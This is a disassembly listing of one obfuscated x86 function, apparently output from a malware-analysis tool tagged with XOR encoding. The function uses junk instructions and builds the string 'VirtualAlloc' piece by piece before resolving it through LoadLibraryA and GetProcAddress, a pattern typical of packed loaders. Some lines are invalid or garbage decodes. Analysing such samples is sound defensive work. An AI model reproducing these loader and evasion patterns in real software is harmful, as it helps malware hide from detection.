Function at 0x4014f0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
mov dword [0x405040], 1
call fcn.00402840
add esp, 0xc
pushal
pushfd
add esi, eax
mov ebx, esp
not edx
mov esi, eax
sub esi, 0x8df369c
rol eax, 2
xor edx, esi
rol esi, 0xc
call fcn.0040260c
and edx, 0x5b63e0
rol edx, 0x11
shr ebx, 4
ror edi, 0x16
push ss
and edx, 0x9a24b7c
mov esi, eax
test edx, edi
jb 0x40152d
or dword [ebx + 0x72fa85f0], ecx
xor byte [edi + 0x14c6c1f6], al
xchg esi, esi
rol esi, 0x14
or esi, edi
or eax, 0xc6be1d4
test edx, 0xb83bee7
jo 0x4014f6
call fcn.0040260c
test esi, edi
jb 0x40155e
or esi, 0x3bcb0e
mov ecx, 0x63028f
xor edi, dword [0x403580]
shl eax, 7
loopne 0x401536
inc esi
xchg edi, eax
mov edi, dword [0x4036e0]
xchg esi, eax
inc ebx
call fcn.004026dc
dec esi
neg esi
rol esi, 0xc
loop 0x401526
inc eax
add byte [edi - 0x6317bc3a], al
adc dword [eax], eax
add byte [esi - 9], cl
faddp st(1)
invalid
xor eax, 0x12f231b8
mov edi, 0x24bba580
shl eax, 0xd
mov esi, edx
mov ebx, eax
test eax, 0x38b60ba8
mov dh, 0x38
jb 0x40159e
mov ecx, 0xc32532
or dword [0x4039a0], 0x4c7fae0
or dword [0x40383c], 0x41b7b06
inc esi
neg eax
ror esi, 0x17
neg esi
rol eax, 1
inc eax
or esi, dword [0x40324c]
shr esi, 0x1d
loop 0x401567
xor ebx, dword [0x40311d]
mov ecx, 0xe42f0
xchg esi, esi
call fcn.004028c3
rol eax, 0x19
shr esi, 0xa
neg eax
rol edx, 0x13
and dword [0x403a55], 0x1cefd302
neg esi
or edi, dword [0x403600]
imul al
pop ds
adc eax, dword [eax]
add cl, al
rcr byte [ecx], 0xc1
out dx, al
or dh, bh
fadd st(1)
ret 0x8113
out dx, eax
sbb al, 0xf7
fimul word [ebx]
cmp eax, 0x403600
inc eax
not esi
xor dword [0x403ab0], ecx
loop 0x40159d
xchg eax, edx
mov ebx, esp
not edi
xor esi, 0x1461081f
mov esi, eax
mov edx, ecx
xor esi, eax
test esp, ebx
jo 0x4015b7
sub eax, eax
mov ecx, eax
dec ebx
xor edx, edi
mov esi, edi
xor esi, 0x6a07350
push 0x40667c
neg ecx
sub esi, dword [0x4034a7]
xor edx, esp
add edx, eax
not esi
add edi, dword [0x4035cc]
xchg edi, eax
mov dword [0x403ae8], ebx
not ebx
xor esi, eax
dec edi
rol eax, 4
mov dword [0x403b7e], ecx
sub ecx, dword [0x403398]
ror ecx, 1
sub dword [0x40393a], edx
add dword [0x403ae8], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
neg eax
dec esi
neg esi
xor ebx, dword [0x403d0e]
add ebx, ecx
inc esi
xor edx, eax
ror edi, 0x1d
call fcn.0040260c
xor edx, esi
mov dword [0x403987], 0x360eb7b2
rol esi, 0xd
and dword [0x403bc0], ebx
xor edx, 0xdbdfdb8
xor edx, dword [0x403f34]
sub ecx, dword [0x403d11]
xor edx, esp
xor dword [0x403b9c], 0x1d21eed
mov dword [0x403943], ecx
xor esi, eax
xor esi, eax
and dword [0x403810], ebx
mov dword [0x403833], 0xc2aa494
xor edx, esp
xor edx, 0xdbdfdb8
xor dword [0x403b84], esi
ror esi, 0xd
xor edx, esi
rol edi, 0x1d
xor edx, eax
dec esi
sub ebx, ecx
neg esi
inc esi
neg eax
push 0
ror ebx, 0xc
dec ecx
xor ebx, ebp
xor edi, dword [0x403e13]
xor esi, eax
xor edi, eax
dec ebx
sub esi, esp
inc ecx
mov dword [0x4038e0], ecx
or dword [0x4038f6], ecx
add dword [0x4038c4], edx
dec ecx
add esi, esp
inc ebx
xor edi, eax
xor esi, eax
xor ebx, ebp
inc ecx
rol ebx, 0xc
push 0x636f6c6c
not eax
mov dword [0x4038c0], 0x341940c
add esi, eax
rol edx, 4
mov dword [0x403b6b], edi
dec eax
xor ecx, dword [0x403e28]
mov dword [0x403bdd], esi
add edx, eax
neg eax
sub dword [0x403a6e], ebx
dec esi
call fcn.004010e8
xor ecx, esp
mov dword [0x403aec], esi
inc eax
sub esi, esp
add esi, esp
dec eax
xor ecx, esp
inc esi
mov dword [0x403b24], ecx
neg eax
sub edx, eax
mov dword [0x403b06], ebx
inc eax
xor dword [0x40388a], edx
ror edx, 4
sub esi, eax
not eax
push 0x416c6175
xor edx, esp
call fcn.0040260c
mov dword [0x40396e], ecx
neg eax
sub eax, ebp
call fcn.00402889
sub ecx, dword [0x403dae]
add esi, ebp
sub ecx, dword [0x403f04]
sub esi, eax
or dword [0x403b60], esi
xor esi, 0x11f0fb7a
add ecx, dword [0x403c7a]
call fcn.0040260c
xor ebx, dword [0x403db2]
xor esi, 0x11f0fb7a
add esi, eax
sub esi, ebp
add eax, ebp
neg eax
mov dword [0x4038c0], edx
xor edx, esp
push 0x74726956
xor edx, dword [0x403e96]
not esi
xchg edi, eax
sub ecx, dword [0x403f0a]
neg edx
xor ecx, eax
rol eax, 0x11
sub edx, dword [0x403c15]
xchg eax, eax
call fcn.0040282b
ror esi, 2
add ebx, edx
neg esi
xor dword [0x403adc], edx
neg edx
xor ecx, dword [0x403e41]
ror esi, 0x19
call fcn.0040260c
add ebx, 0x21d765b
or dword [0x403af1], ecx
sub ebx, 0x21d765b
call fcn.0040260c
rol esi, 0x19
neg edx
sub dword [0x4039c0], edi
neg esi
sub ebx, edx
rol esi, 2
call fcn.0040260c
xchg eax, eax
ror eax, 0x11
xor ecx, eax
neg edx
xchg edi, eax
not esi
push esp
xor eax, 0x344d7bdf
call fcn.00401161
xor esi, ecx
ror edi, 9
sub edx, eax
ror eax, 0x1a
dec eax
sub edx, dword [0x403efa]
mov dword [0x40384a], 0x1dbc8c
sub ecx, eax
call fcn.0040260c
neg eax
xchg esi, esi
add esi, eax
sub esi, eax
xchg esi, esi
neg eax
add ecx, eax
inc eax
rol eax, 0x1a
add edx, eax
rol edi, 9
xor esi, ecx
call fcn.00402a0c
xor eax, 0x344d7bdf
push eax
sub esi, 0x178a27d
xor esi, eax
xor ebx, dword [0x403c0e]
rol eax, 0x19
sub ecx, eax
xor ebx, ebp
rol esi, 1
sub esi, esp
xor esi, edx
or dword [0x403bb0], 0x30cd7513
xor ecx, dword [0x403f9e]
or dword [0x403afe], 0xae28a52
mov dword [0x403938], 0x34b14b55
xor esi, edx
add esi, esp
ror esi, 1
xor ebx, ebp
add ecx, eax
ror eax, 0x19
xor esi, eax
add esi, 0x178a27d
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edi, ecx